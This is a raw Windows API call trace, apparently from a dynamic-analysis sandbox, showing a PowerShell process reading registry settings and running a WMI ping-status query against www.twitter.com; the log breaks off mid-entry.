[0155.184] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bde9fc | out: phkResult=0x5bde9fc*=0x360) returned 0x0 [0155.184] RegQueryValueExW (in: hKey=0x360, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bdea1c, lpData=0x0, lpcbData=0x5bdea18*=0x0 | out: lpType=0x5bdea1c*=0x1, lpData=0x0, lpcbData=0x5bdea18*=0x56) returned 0x0 [0155.184] RegQueryValueExW (in: hKey=0x360, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bdea1c, lpData=0x22e3bb8, lpcbData=0x5bdea18*=0x56 | out: lpType=0x5bdea1c*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5bdea18*=0x56) returned 0x0 [0155.184] RegCloseKey (hKey=0x360) returned 0x0 [0155.184] CoTaskMemAlloc (cb=0x20c) returned 0x59dfe8 [0155.184] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x59dfe8 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0155.185] CoTaskMemFree (pv=0x59dfe8) [0155.185] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x17 [0155.185] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x17, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0155.285] EtwEventActivityIdControl () returned 0x0 [0155.288] SetEvent (hEvent=0x3f0) returned 1 [0155.288] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5bded58*=0x3f0, lpdwindex=0x5bdeb7c | out: lpdwindex=0x5bdeb7c) returned 0x0 [0155.290] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5bdecec, nSize=0xc6 | out: lpBuffer="") returned 0x0 [0155.292] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0155.292] GetFileType (hFile=0xb) returned 0x2 [0155.293] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x5bdee90 | out: lpMode=0x5bdee90) returned 1 [0155.294] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5bdee50 | out: lpConsoleScreenBufferInfo=0x5bdee50) returned 1 [0155.294] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5bdee50 | out: lpConsoleScreenBufferInfo=0x5bdee50) returned 1 [0155.348] EtwEventActivityIdControl () returned 0x0 [0155.348] EtwEventActivityIdControl () returned 0x0 [0155.348] EtwEventActivityIdControl () returned 0x0 [0155.382] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x360 [0155.383] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3f4 [0155.389] SetEvent (hEvent=0x3f4) returned 1 [0155.427] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5bdef58*=0x360, lpdwindex=0x5bded7c | out: lpdwindex=0x5bded7c) returned 0x0 [0155.434] CoGetContextToken (in: pToken=0x5bdee2c | out: pToken=0x5bdee2c) returned 0x0 [0155.434] CoGetContextToken (in: pToken=0x5bded8c | out: pToken=0x5bded8c) returned 0x0 [0155.434] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df070, riid=0x5bdee5c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5bdee58 | out: ppvObject=0x5bdee58*=0x5df070) returned 0x0 [0155.434] WbemDefPath:IUnknown:AddRef (This=0x5df070) returned 0x3 [0155.435] WbemDefPath:IUnknown:Release (This=0x5df070) returned 0x2 [0155.436] WbemDefPath:IWbemPath:SetText (This=0x5df070, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0155.437] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdefd4 | out: puCount=0x5bdefd4*=0x2) returned 0x0 [0155.437] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdefd0*=0x0, pszText=0x0 | out: puBuffLength=0x5bdefd0*=0xf, pszText=0x0) returned 0x0 [0155.437] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdefd0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdefd0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0155.456] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5bdeee0*=0x460, lpdwindex=0x5bded98 | out: lpdwindex=0x5bded98) returned 0x0 [0156.272] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdefc0 | out: puCount=0x5bdefc0*=0x2) returned 0x0 [0156.272] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdefbc*=0x0, pszText=0x0 | out: puBuffLength=0x5bdefbc*=0xf, pszText=0x0) returned 0x0 [0156.272] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdefbc*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdefbc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.274] CoGetContextToken (in: pToken=0x5bdec84 | out: pToken=0x5bdec84) returned 0x0 [0156.274] CoGetContextToken (in: pToken=0x5bdebe4 | out: pToken=0x5bdebe4) returned 0x0 [0156.274] CoGetContextToken (in: pToken=0x5bdebe4 | out: pToken=0x5bdebe4) returned 0x0 [0156.274] CoGetContextToken (in: pToken=0x5bdeb84 | out: pToken=0x5bdeb84) returned 0x0 [0156.274] IUnknown:QueryInterface (in: This=0x5812b0, riid=0x71478ae0*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdeb5c | out: ppvObject=0x5bdeb5c*=0x5812c0) returned 0x0 [0156.275] CObjectContext::ContextCallback () returned 0x0 [0156.289] IUnknown:Release (This=0x5812c0) returned 0x1 [0156.290] CoUnmarshalInterface (in: pStm=0x61b638, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5bdebd8 | out: ppv=0x5bdebd8*=0x5c11ec) returned 0x0 [0156.290] CoMarshalInterface (pStm=0x61b638, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x5c11ec, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0156.291] WbemLocator:IUnknown:QueryInterface (in: This=0x5c11ec, riid=0x5bdecb4*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x5bdecb0 | out: ppvObject=0x5bdecb0*=0x5d1780) returned 0x0 [0156.293] WbemLocator:IUnknown:Release (This=0x5c11ec) returned 0x1 [0156.293] IWbemServices:ExecQuery (in: This=0x5d1780, strQueryLanguage="WQL", strQuery="Select * from Win32_PingStatus where ((Address='www.twitter.com') And TimeToLive=80 And BufferSize=32)", lFlags=131600, pCtx=0x0, ppEnum=0x5bdef1c | out: ppEnum=0x5bdef1c*=0x5958c0) returned 0x0 [0156.300] IUnknown:QueryInterface (in: This=0x5958c0, riid=0x6b3b35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdece8 | out: ppvObject=0x5bdece8*=0x5958c4) returned 0x0 [0156.301] IClientSecurity:QueryBlanket (in: This=0x5958c4, pProxy=0x5958c0, pAuthnSvc=0x5bded38, pAuthzSvc=0x5bded34, pServerPrincName=0x5bded2c, pAuthnLevel=0x5bded30, pImpLevel=0x5bded20, pAuthInfo=0x5bded24, pCapabilites=0x5bded28 | out: pAuthnSvc=0x5bded38*=0xa, pAuthzSvc=0x5bded34*=0x0, pServerPrincName=0x5bded2c, pAuthnLevel=0x5bded30*=0x6, pImpLevel=0x5bded20*=0x2, pAuthInfo=0x5bded24, pCapabilites=0x5bded28*=0x1) returned 0x0 [0156.301] IUnknown:Release (This=0x5958c4) returned 0x1 [0156.301] IUnknown:QueryInterface (in: This=0x5958c0, riid=0x6b3b35a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdecdc | out: ppvObject=0x5bdecdc*=0x5c12dc) returned 0x0 [0156.301] IUnknown:QueryInterface (in: This=0x5958c0, riid=0x6b3b35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdecc8 | out: ppvObject=0x5bdecc8*=0x5958c4) returned 0x0 [0156.301] IClientSecurity:SetBlanket (This=0x5958c4, pProxy=0x5958c0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0156.318] IUnknown:Release (This=0x5958c4) returned 0x2 [0156.318] WbemLocator:IUnknown:Release (This=0x5c12dc) returned 0x1 [0156.318] CoTaskMemFree (pv=0x5f6dad8) [0156.318] IUnknown:AddRef (This=0x5958c0) returned 0x2 [0156.318] CoGetContextToken (in: pToken=0x5bde208 | out: pToken=0x5bde208) returned 0x0 [0156.319] IUnknown:QueryInterface (in: This=0x581420, riid=0x7135b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde1c0 | out: ppvObject=0x5bde1c0*=0x58142c) returned 0x0 [0156.319] IComThreadingInfo:GetCurrentApartmentType (in: This=0x58142c, pAptType=0x5bde1fc | out: pAptType=0x5bde1fc*=3) returned 0x0 [0156.319] IUnknown:Release (This=0x58142c) returned 0x0 [0156.319] CoGetObjectContext (in: riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5f717d4 | out: ppv=0x5f717d4*=0x581420) returned 0x0 [0156.319] CoGetContextToken (in: pToken=0x5bde61c | out: pToken=0x5bde61c) returned 0x0 [0156.319] IUnknown:QueryInterface (in: This=0x5958c0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde5b4 | out: ppvObject=0x5bde5b4*=0x5c12c4) returned 0x0 [0156.319] WbemLocator:IRpcOptions:Query (in: This=0x5c12c4, pPrx=0x5f717a0, dwProperty=2, pdwValue=0x5bde6a8 | out: pdwValue=0x5bde6a8) returned 0x80004002 [0156.319] WbemLocator:IUnknown:Release (This=0x5c12c4) returned 0x2 [0156.320] CoGetContextToken (in: pToken=0x5bdebec | out: pToken=0x5bdebec) returned 0x0 [0156.320] CoGetContextToken (in: pToken=0x5bdeb4c | out: pToken=0x5bdeb4c) returned 0x0 [0156.320] IUnknown:QueryInterface (in: This=0x5958c0, riid=0x5bdec1c*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x5bdeae8 | out: ppvObject=0x5bdeae8*=0x5958c0) returned 0x0 [0156.320] IUnknown:Release (This=0x5958c0) returned 0x2 [0156.320] WbemLocator:IUnknown:Release (This=0x5d1780) returned 0x0 [0156.320] SysStringLen (param_1=0x0) returned 0x0 [0156.320] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdef68 | out: puCount=0x5bdef68*=0x2) returned 0x0 [0156.320] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef64*=0x0, pszText=0x0 | out: puBuffLength=0x5bdef64*=0xf, pszText=0x0) returned 0x0 [0156.321] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef64*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdef64*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.321] CoGetContextToken (in: pToken=0x5bdedbc | out: pToken=0x5bdedbc) returned 0x0 [0156.321] IEnumWbemClassObject:Clone (in: This=0x5958c0, ppEnum=0x5bdef74 | out: ppEnum=0x5bdef74*=0x595988) returned 0x0 [0156.322] IUnknown:QueryInterface (in: This=0x595988, riid=0x6b3b35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdee30 | out: ppvObject=0x5bdee30*=0x59598c) returned 0x0 [0156.322] IClientSecurity:QueryBlanket (in: This=0x59598c, pProxy=0x595988, pAuthnSvc=0x5bdee80, pAuthzSvc=0x5bdee7c, pServerPrincName=0x5bdee74, pAuthnLevel=0x5bdee78, pImpLevel=0x5bdee68, pAuthInfo=0x5bdee6c, pCapabilites=0x5bdee70 | out: pAuthnSvc=0x5bdee80*=0xa, pAuthzSvc=0x5bdee7c*=0x0, pServerPrincName=0x5bdee74, pAuthnLevel=0x5bdee78*=0x6, pImpLevel=0x5bdee68*=0x2, pAuthInfo=0x5bdee6c, pCapabilites=0x5bdee70*=0x1) returned 0x0 [0156.322] IUnknown:Release (This=0x59598c) returned 0x1 [0156.323] IUnknown:QueryInterface (in: This=0x595988, riid=0x6b3b35a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdee24 | out: ppvObject=0x5bdee24*=0x5c11ec) returned 0x0 [0156.323] IUnknown:QueryInterface (in: This=0x595988, riid=0x6b3b35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdee10 | out: ppvObject=0x5bdee10*=0x59598c) returned 0x0 [0156.323] IClientSecurity:SetBlanket (This=0x59598c, pProxy=0x595988, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0156.326] IUnknown:Release (This=0x59598c) returned 0x2 [0156.326] WbemLocator:IUnknown:Release (This=0x5c11ec) returned 0x1 [0156.326] CoTaskMemFree (pv=0x5f6daa8) [0156.326] IUnknown:AddRef (This=0x595988) returned 0x2 [0156.326] CoGetContextToken (in: pToken=0x5bde340 | out: pToken=0x5bde340) returned 0x0 [0156.327] CoGetContextToken (in: pToken=0x5bde754 | out: pToken=0x5bde754) returned 0x0 [0156.327] IUnknown:QueryInterface (in: This=0x595988, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde6ec | out: ppvObject=0x5bde6ec*=0x5c11d4) returned 0x0 [0156.327] WbemLocator:IRpcOptions:Query (in: This=0x5c11d4, pPrx=0x5f71818, dwProperty=2, pdwValue=0x5bde7e0 | out: pdwValue=0x5bde7e0) returned 0x80004002 [0156.327] WbemLocator:IUnknown:Release (This=0x5c11d4) returned 0x2 [0156.327] CoGetContextToken (in: pToken=0x5bded24 | out: pToken=0x5bded24) returned 0x0 [0156.327] CoGetContextToken (in: pToken=0x5bdec84 | out: pToken=0x5bdec84) returned 0x0 [0156.327] IUnknown:QueryInterface (in: This=0x595988, riid=0x5bded54*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x5bdec20 | out: ppvObject=0x5bdec20*=0x595988) returned 0x0 [0156.327] IUnknown:Release (This=0x595988) returned 0x2 [0156.327] SysStringLen (param_1=0x0) returned 0x0 [0156.329] IEnumWbemClassObject:Reset (This=0x595988) returned 0x0 [0156.333] CoTaskMemAlloc (cb=0x4) returned 0x5f6adf0 [0156.333] IEnumWbemClassObject:Next (in: This=0x595988, lTimeout=-1, uCount=0x1, apObjects=0x5f6adf0, puReturned=0x23056f8 | out: apObjects=0x5f6adf0*=0x5f6e0e8, puReturned=0x23056f8*=0x1) returned 0x0 [0156.426] IUnknown:QueryInterface (in: This=0x5f6e0e8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde5cc | out: ppvObject=0x5bde5cc*=0x5f6e0e8) returned 0x0 [0156.426] IUnknown:QueryInterface (in: This=0x5f6e0e8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5bde580 | out: ppvObject=0x5bde580*=0x0) returned 0x80004002 [0156.426] IUnknown:QueryInterface (in: This=0x5f6e0e8, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5bde3a8 | out: ppvObject=0x5bde3a8*=0x0) returned 0x80004002 [0156.426] IUnknown:AddRef (This=0x5f6e0e8) returned 0x3 [0156.426] IUnknown:QueryInterface (in: This=0x5f6e0e8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5bddedc | out: ppvObject=0x5bddedc*=0x0) returned 0x80004002 [0156.426] IUnknown:QueryInterface (in: This=0x5f6e0e8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5bdde8c | out: ppvObject=0x5bdde8c*=0x0) returned 0x80004002 [0156.426] IUnknown:QueryInterface (in: This=0x5f6e0e8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdde98 | out: ppvObject=0x5bdde98*=0x5f6e0ec) returned 0x0 [0156.427] IMarshal:GetUnmarshalClass (in: This=0x5f6e0ec, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5bddea0 | out: pCid=0x5bddea0*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0156.427] IUnknown:Release (This=0x5f6e0ec) returned 0x3 [0156.427] CoGetContextToken (in: pToken=0x5bddef8 | out: pToken=0x5bddef8) returned 0x0 [0156.427] CoGetContextToken (in: pToken=0x5bde30c | out: pToken=0x5bde30c) returned 0x0 [0156.427] IUnknown:QueryInterface (in: This=0x5f6e0e8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde38c | out: ppvObject=0x5bde38c*=0x0) returned 0x80004002 [0156.427] IUnknown:Release (This=0x5f6e0e8) returned 0x2 [0156.427] CoGetContextToken (in: pToken=0x5bde8f4 | out: pToken=0x5bde8f4) returned 0x0 [0156.427] CoGetContextToken (in: pToken=0x5bde854 | out: pToken=0x5bde854) returned 0x0 [0156.427] IUnknown:QueryInterface (in: This=0x5f6e0e8, riid=0x5bde924*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5bde920 | out: ppvObject=0x5bde920*=0x5f6e0e8) returned 0x0 [0156.427] IUnknown:AddRef (This=0x5f6e0e8) returned 0x4 [0156.427] IUnknown:Release (This=0x5f6e0e8) returned 0x3 [0156.427] IUnknown:Release (This=0x5f6e0e8) returned 0x2 [0156.427] CoTaskMemFree (pv=0x5f6adf0) [0156.428] CoGetContextToken (in: pToken=0x5bdec64 | out: pToken=0x5bdec64) returned 0x0 [0156.428] IUnknown:AddRef (This=0x5f6e0e8) returned 0x3 [0156.429] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__GENUS", lFlags=0, pVal=0x5bdef64*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5bdefe4*=0, plFlavor=0x5bdefe0*=0 | out: pVal=0x5bdef64*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5bdefe4*=3, plFlavor=0x5bdefe0*=64) returned 0x0 [0156.430] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__PATH", lFlags=0, pVal=0x5bdef48*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5bdefcc*=0, plFlavor=0x5bdefc8*=0 | out: pVal=0x5bdef48*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x5bdefcc*=8, plFlavor=0x5bdefc8*=64) returned 0x0 [0156.430] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0156.430] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0156.431] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4d0 [0156.431] SetEvent (hEvent=0x3f4) returned 1 [0156.431] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5bdef20*=0x4d0, lpdwindex=0x5bded44 | out: lpdwindex=0x5bded44) returned 0x0 [0156.434] CoGetContextToken (in: pToken=0x5bdedf4 | out: pToken=0x5bdedf4) returned 0x0 [0156.434] CoGetContextToken (in: pToken=0x5bded54 | out: pToken=0x5bded54) returned 0x0 [0156.434] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df1c0, riid=0x5bdee24*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5bdee20 | out: ppvObject=0x5bdee20*=0x5df1c0) returned 0x0 [0156.434] WbemDefPath:IUnknown:AddRef (This=0x5df1c0) returned 0x3 [0156.434] WbemDefPath:IUnknown:Release (This=0x5df1c0) returned 0x2 [0156.434] WbemDefPath:IWbemPath:SetText (This=0x5df1c0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x0 [0156.435] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdefa0 | out: puCount=0x5bdefa0*=0x2) returned 0x0 [0156.435] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef9c*=0x0, pszText=0x0 | out: puBuffLength=0x5bdef9c*=0xf, pszText=0x0) returned 0x0 [0156.435] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef9c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdef9c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.436] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdef08 | out: puCount=0x5bdef08*=0x2) returned 0x0 [0156.436] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef04*=0x0, pszText=0x0 | out: puBuffLength=0x5bdef04*=0xf, pszText=0x0) returned 0x0 [0156.436] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef04*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdef04*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.436] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="Address", lFlags=0, pVal=0x5bdef04*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23061cc*=0, plFlavor=0x23061d0*=0 | out: pVal=0x5bdef04*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x23061cc*=8, plFlavor=0x23061d0*=0) returned 0x0 [0156.436] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0156.436] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0156.437] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="Address", lFlags=0, pVal=0x5bdef0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23061cc*=8, plFlavor=0x23061d0*=0 | out: pVal=0x5bdef0c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x23061cc*=8, plFlavor=0x23061d0*=0) returned 0x0 [0156.437] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0156.437] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0156.438] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdef08 | out: puCount=0x5bdef08*=0x2) returned 0x0 [0156.438] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef04*=0x0, pszText=0x0 | out: puBuffLength=0x5bdef04*=0xf, pszText=0x0) returned 0x0 [0156.438] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef04*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdef04*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.438] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x5bdef04*(varType=0x0, wReserved1=0x0, 